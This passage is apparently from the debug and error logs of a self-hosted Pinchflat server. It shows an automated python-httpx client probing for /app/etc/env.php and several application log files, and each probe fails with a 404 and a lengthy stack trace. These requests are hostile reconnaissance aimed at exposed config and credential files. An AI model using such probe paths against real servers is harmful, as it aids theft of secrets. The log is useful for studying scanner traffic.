"GIlj0BCn_nGE_CUAAKIx"} ], scheme: :http, (truncated) 14:07:54.385 [info] GET /app/etc/env.php 14:07:54.386 [debug] QUERY OK source="settings" db=0.8ms queue=0.1ms idle=1075.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:07:54.388 [debug] QUERY OK source="settings" db=0.8ms queue=0.1ms idle=1074.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:07:54.388 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:07:54.389 [error] #PID<0.12402.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 106) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /app/etc/env.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app/etc/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app/etc/env.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 106, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12402.0>, params: %{}, path_info: ["app", "etc", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/app/etc/env.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj0CdpAOBO-FoAAKJB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app/etc/env.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 106, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app/etc/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app/etc/env.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 106, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12402.0>, params: %{}, path_info: ["app", "etc", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/app/etc/env.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj0CdpAOBO-FoAAKJB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil (truncated) 14:07:54.849 [info] GET /logs/application.log 14:07:54.851 [debug] QUERY OK source="settings" db=1.3ms queue=0.1ms idle=844.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:07:54.852 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=845.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:07:54.852 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:07:54.854 [error] #PID<0.12403.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 107) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /logs/application.log ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /logs/application (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/logs/application.log", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 107, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12403.0>, params: %{}, path_info: ["logs", "application"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/logs/application.log", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj0EMRBRaJ2f8AAKJR"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/logs/application.log", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 107, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /logs/application (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/logs/application.log", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 107, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12403.0>, params: %{}, path_info: ["logs", "application"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/logs/application.log", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj0EMRBRaJ2f8AAKJR"} ], scheme: :http, script_name: [], secret_key_base: :..., (truncated) 14:07:55.532 [info] GET /app/logs/dev.log 14:07:55.533 [debug] QUERY OK source="settings" db=0.6ms idle=1146.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:07:55.535 [debug] QUERY OK source="settings" db=0.8ms idle=1145.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:07:55.535 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:07:55.535 [error] #PID<0.12404.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 108) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /app/logs/dev.log ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app/logs/dev (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app/logs/dev.log", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 108, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12404.0>, params: %{}, path_info: ["app", "logs", "dev"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/app/logs/dev.log", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj0GvEzeSpxecAAKJh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app/logs/dev.log", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 108, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app/logs/dev (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app/logs/dev.log", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 108, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12404.0>, params: %{}, path_info: ["app", "logs", "dev"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/app/logs/dev.log", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj0GvEzeSpxecAAKJh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, st (truncated) 14:07:56.592 [info] GET /app/logs/prod.log 14:07:56.594 [debug] QUERY OK source="settings" db=1.1ms queue=0.3ms idle=1059.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:07:56.596 [debug] QUERY OK source="settings" db=1.0ms queue=0.1ms idle=1060.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:07:56.596 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:07:56.597 [error] #PID<0.12405.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 109) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /app/logs/prod.log ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app/logs/prod (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app/logs/prod.log", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 109, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12405.0>, params: %{}, path_info: ["app", "logs", "prod"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/app/logs/prod.log", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj0Kr9kR4DARoAAKJx"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app/logs/prod.log", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 109, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app/logs/prod (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app/logs/prod.log", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 109, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12405.0>, params: %{}, path_info: ["app", "logs", "prod"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/app/logs/prod.log", resp_body: nil, resp_cookies: %{}, 